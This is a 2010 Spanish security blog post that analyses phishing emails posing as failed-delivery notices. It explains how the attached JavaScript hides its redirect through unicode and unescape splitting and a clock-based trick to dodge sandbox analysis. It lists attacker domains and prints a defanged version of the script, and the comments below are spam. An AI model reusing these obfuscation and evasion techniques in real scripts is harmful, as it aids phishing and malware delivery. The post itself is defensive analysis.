Doymer Consultores

  • Increase font size
  • Default font size
  • Decrease font size
Inicio Blog Security The case of the false Delivery Notification Statuses (spanish)
04
Jul
2010

The case of the false Delivery Notification Statuses (spanish)

Print PDF

No es la primera vez en este blog que tras hablar de un un tema tenemos que abrir un segundo artículo para ampliarlo. Y no es que me gusten especialmente las segundas partes pero, desgraciadamente, la realidad de internet se impone y no queda más remedio que salirle al paso.

Ya en el artículo anterior se habló de una forma de ataque novedosa. Tras la, más que probable, reducción del éxito de los vectores conocidos hasta la fecha de contaminación de equipos de usuario a través del correo (precisamente por eso, por que son demasiado conocidos, como las fotos de chicas que quieren ser tu novia y otros), las cabezas pensantes del mal se inventaron un nuevo mecanismo –o vector– de contaminación. Pero ya sea porque no debe haberles dado demasiado resultado, o quizá precisamente por todo lo contrario, aparecen dos nuevos vectores de contaminación que nos parecen altamente peligrosos.

Como antes, ahora que casi todo el mundo o todo el mundo tiene sistemas de protección en el correo, el atacante requiere de la cooperación necesaria de su víctima ya que ésta tiene que enlazar con la página que se le envía como adjunto y en donde, supuestamente, está la solución a sus males.

 

Y ¿cómo se intenta obtener tal colaboración?. Pues diciéndote que tu servicio técnico ha detectado un fallo en tu buzón de correo y necesita que le confirmes esto o aquello o te quedas sin correo (hay variaciones pero en esencia es así) o bien indicándote que un mensaje que has enviado a no-se-dónde no ha podido ser entregado. El problema para ellos es que nosotros somos nuestro propio servicio técnico de correo y sabemos que nuestro buzón no necesita ningún ajuste, entre otras cosas. Y además podemos abrir el correo recibido sin ejecutar su contenido por lo que podemos ver qué pretenden hacer en realidad.

Para ser totalmente estrictos hay que decir que el primero de los vectores que hemos indicado no es completamente nuevo. Hace ya tiempo que circula de esta forma o en alguna de sus variantes como un mensaje de tu banco indicando que hay algún problema con el servicio de acceso internet –o con tu cuenta– y similares. El segundo si que es la primera vez que se detecta (al menos que nos llega a nosotros) y parece más serio. Quizá no por el idioma que usan en el correo –por ahora el mensaje viene en inglés–, pero si por el supuesto origen del mismo que suele enviarlos en ese mismo idioma al ser generados por los servidores que mueven los correos en internet y que, en su mayoría, usan el inglés como base.

El nuevo vector es un mensaje de notificación de fallo en la entrega de correo o Delivery Status Notificacion (DSN) bastante habitual en los buzones de todos y que se genera de forma natural cuando el destinatario al que enviamos un correo no existe (porque lo hemos escrito mal, por ejemplo). Y este es el principal peligro que vemos: que es algo bastante habitual y, por tanto, puede que el usuario pique al considerar que es un mensaje legítimo. Ya no es sólo el gancho de la curiosidad, ahora añaden el de la costumbre.

El código que contienen estos correos está más elaborado de lo que hemos visto hasta el momento para ocultar aún más la acción final, que siempre acaba siendo una redirección oculta a otra página mediante asignación a location.href aunque, como hemos indicado anteriormente, para que el ataque sea efectivo es necesaria la colaboración de quién recibe el mensaje que debe abrir el enlace adjunto. Por eso, con este toque de atención, intentamos evitar su propagación dando a conocer estas técnicas en la esperanza de que los usuarios del sistema no se conviertan en colaboradores necesarios del ataque. Así que, por favor, NUNCA, NEVER, JAMÁS, abráis el adjunto que os envían; todos nos ahorarremos un montón de dolores de cabeza.

Vamos a analizar, de nuevo, el contenido del vector de infección de uno de los mensajes recibidos para que podáis ver con vuestros propios ojos cómo se produce la contaminación y que sirva como reflejo de la importancia que aquellos que intentan el engaño le dan al mismo, lo que indica que debe ser un buen negocio. A ver si se lo chafamos entre todos...

Así que, entre decenas de unescapes, de variables inútiles, objetos creados que consumen los recursos del sistema para luego quedar olvidados en alguna parte de la memoria y de funciones descodificadoras, las variables que contienen los datos significativos como la URL a cargar, y las funciones para hacerlo vienen troceadas y codificadas para que no se comprenda su operativa. Por ejemplo la siguiente función:

function t(mB,v)
{
...código inútil...
return mB['\u0063\u0068'+unescape('%61%72%43%6f%64%65%41%74')](v);
}

oculta una conversión de código al devolver, realmente, el carácter situado en la posición indicada por 'v' ya que u0063\u0068'+unescape('%61%72%43%6f%64%65%41%74') es igual a charCodeAt y, por tanto, la función anterior es equivalente a return mB[charCodeAt](v).

Se han recibido bastantes correos con este ataque y no los hemos analizado todos así que la lista de dominios atacantes que ampliamos en esta segunda parte no es exahustiva. En los que hemos visto se carga una página index3.html aunque, en este caso, eso sólo ocurrirá si tienes la mala suerte de pillar el momento 'chungo' del script.

Lo llamamos el momento chungo porque ese será en el que se active la llamada. Codificado en el script se realiza el siguiente cálculo dos veces:

Hora * 3619 + Minuto * 61 + Segundo

Este cálculo se realiza al principio de la ejecución del script y en medio de la llamada a la función principal. La diferencia entre ambos instantes puede ser cero o diferente de cero. Y es en este segundo caso cuando la función devuelve un valor con la URL de ataque correcta devolviendo un texto sin sentido en caso contrario. Así que en los precisos instantes en los que está a punto de realizarse un cambio de hora, minuto o segundo en el reloj de nuestro sistema es cuando el ataque se produce.

Pensamos que éste es un mecanismo adicional para evitar la detección de los programas de defensa que puedan ejecutar el script en una sandbox para ver si está realizando una redirección ilegal de página. De esta forma se reduce la posibilidad de captura aunque también se reduce la ventana de exposición. Suponemos asimismo que juegan con la diferencia entre el momento del análisis del código por parte de nuestro sistema de defensa (que suele ser realizado en el momento de la recepción del correo) y el momento de la ejecución (cuando abrimos el correo y vamos al enlace adjunto). Y además, juegan con la estadística: enviando el mensaje de forma masiva se incrementan las posibilidades de que alguien lo ejecute en el momento critico.

Los dominios que alojan las nuevas páginas atacantes localizados hasta la fecha son los siguientes:

  • 3iconstruction.com
  • nikkicoe.com
  • trendzmarket.com
  • identigen.com
  • yasetai.com (éstos tambien con referencias a poderío sexual)
  • designcomforttx.com
  • hurryleave.com
  • highlandparkbuilders (éstos con referencias a temas de agrandamiento de pene)
  • leandromauricio.com
  • blohards.com
  • mapdigital.net
  • idieperu.org
  • miphillylatino.com
  • societyofdesignercraftsmen.org.uk
  • powerchurchsoftware.com
  • mastermentors.us
  • www.loge1001amsterdam.nl
  • www.cow-shop.nl (como pago en eBay)
  • madeinperu.net (!OJO¡ como tarjeta de felicitación)
  • www.auspro.com.au
  • tincantools.com


En cualquier caso el ataque es tan evidente que, si no fuese porque nos afecta a todos, casi diría que si alguien se contamina con él realmente es que se lo merece.

El resumen de código que se recibe, eliminando todas las funciones, variables, asignaciones, etc, inútiles es el siguiente. Por supuesto este código ha sido ligeramente modificado para que no resulte dañino y, en lugar de abrir la página, presente la URL atacante en pantalla y se publica para que sirva como prueba de concepto. Consideramos que esto no representa ninguna ayuda a la proliferación del mismo ya que lo más probable es que el lector ya haya recibido uno o más mensajes conteniendolo por lo que casi seguro que ya tiene acceso al mismo.

aBT='71727e'+'7c6974'+'727333'+'756f78'+'7b3d20'+'3d3a75'+'69696d'+'273232'+'2e747e'+
'72736e'+'696f68'+'7e6974'+'727333'+'7e7270'+'327473'+'797865'+'2e3375'+'697071'+'3a26';
function r(k){
function t(mB,v){
return mB['\u0063\u0068'+unescape('%61%72%43%6f%64%65%41%74')](v);
}
function u(rO,q){
return rO^q;
}
var p = new Date();
var l = (p['\u0067\u0065\u0074\u0048\u006f'+unescape('%75%72%73')]()*3619)+
(p['\u0067\u0065\u0074\u004d\u0069\u006e'+unescape('%75%74%65%73')]()*61)+
p['\u0067\u0065\u0074\u0053'+unescape('%65%63%6f%6e%64%73')]();
var o = l - pG;
if(o < 0) o = 1;
if(o > 1) o = 1;
var mO = o;
mO = 1;
var eF = window;
var vX = String;
var rV = eF['\u0075'+unescape('%6e%65%73%63%61%70%65')];
var lG = vX['\u0066\u0072\u006f\u006d'+unescape('%43%68%61%72%43%6f%64%65')];
var bV = '';
var oM = '%';
var bQ = 2;
var jF = 0;
var qT = k['\u006c\u0065\u006e\u0067'+unescape('%74%68')];
for(var tZ=jF; tZ < qT; tZ+=bQ){
bV+= oM + k['\u0073'+unescape('%75%62%73%74%72')](tZ, bQ);
}
var k = rV(bV);
var sP = 28 + mO;
var kM = '';
var e = k['\u006c\u0065\u006e\u0067'+unescape('%74%68')];
for(var z=0; z < e; z++){
var rI = t(k,z);
rI = u(rI, sP);
kM+=lG(rI);
}
alert(kM);
}
var vD = new Date();
var pG = (vD['\u0067\u0065\u0074\u0048\u006f'+unescape('%75%72%73')]()*3619)+
(vD['\u0067\u0065\u0074\u004d\u0069\u006e'+unescape('%75%74%65%73')]()*61)+
vD['\u0067\u0065\u0074\u0053'+unescape('%65%63%6f%6e%64%73')]();
r(aBT);

Si queréis probarlo sólo tenéis que ir a una página que permita ejecutar código javascript como W3Schools, sustituir el código de prueba por el anterior y pulsar el botón para ejecutarlo. Donde no había nada veremos aparecer mágicamente un texto con sentido. Para ver el resultado cuando no estamos en el momento chungo basta con cambiar en la línea mO = 1 por mO = 0 y volver a ejecutar el script.

Si algún lector conoce algún dominio donde se alojen las páginas de ataque que no esté incluido en esta lista y puede demostrar su origen lo añadiremos a la lista.

Actualización: Los últimos mensajes recibidos ya ni siguiera vienen codificados y están en el orden de los 2/3K en lugar de los 6/7K de los anteriores. Se limitan a poner la redirección directamente en el adjunto por lo que es más fácil saber qué estamos cargando.

Share
Last Updated on Wednesday, 14 July 2010 12:25  

Comments  

 
0 # Pedro Francisco 2017-04-30 05:26
Acrescente os ovos, a margarina, café, açúcar, leite e as seis
gotas de origem de panetone.
Reply | Reply with quote | Quote
 
 
0 # runscape gold 2017-05-18 16:21
I bbⅼog quite often andd I seгiously aopreciate your information. Your
artcle has гeally peaқeⅾ mү interest. I'm goin to
book mark your websaite ɑnd keep checқing ffor new information aboᥙt once a week.
I subscribed to your RSSfeed too.
Reply | Reply with quote | Quote
 
 
0 # eso guides 2017-05-22 21:50
Ⲏi there! This is my 1st comjment here so
I just wanted to give a quick shout out annd tell you
I trᥙly enjoy reading tһrough your blog posts.
Can you suggest any other blogs/websites/forums that go over the ѕame topics?Thanks a lot!
Reply | Reply with quote | Quote
 
 
0 # fun mmorpg games 2017-06-04 23:17
Greetіngs from Colorado! I'm bored to tears at wrk so I decided to check out
your blog on myy iphone Ԁuring lunch break. I really
like the information yyou present here and can't ѡait
to take ɑ look when I get home. I'm surprised at how quick your
blog lolаded on myү phone .. I'm not even using WIFI, just 3G ..
Anyhow,wonderfu l blog!
Reply | Reply with quote | Quote
 
 
0 # Site de Casino 2017-06-21 23:15
No uns círculos a abertura é absolvido.
Reply | Reply with quote | Quote
 

Add comment

The owner of this site is not responsible of the opinions that users pour in their comments, and can or cannot agree with what they write.

Fair Play, Please

Please do not make offensive or insult-ant comments. Avoid publicity and Spam. Do not use the comments area to 'plug' your own site. Links you write may be erased. We pretend to create an open space for the authors and users to communicate.

Everyone will enjoy the right use of language, because not all are able to understand 'codified' messages SMS alike. Please do not write only with UPPER case because this is like yelling and you will probably not get attended faster only for yelling, probably the opposite.

Editing reserves

We reserve the right to not include comments that are offensive, unpleasant, that attack third parties (racists, homophobes, etc) or that have nothing to do with the site or the article.
Supplied data is private and owned by you and will not be used to start any commercial or other kind of action.


Security code
Refresh


Archived Items

Powered by ArtTree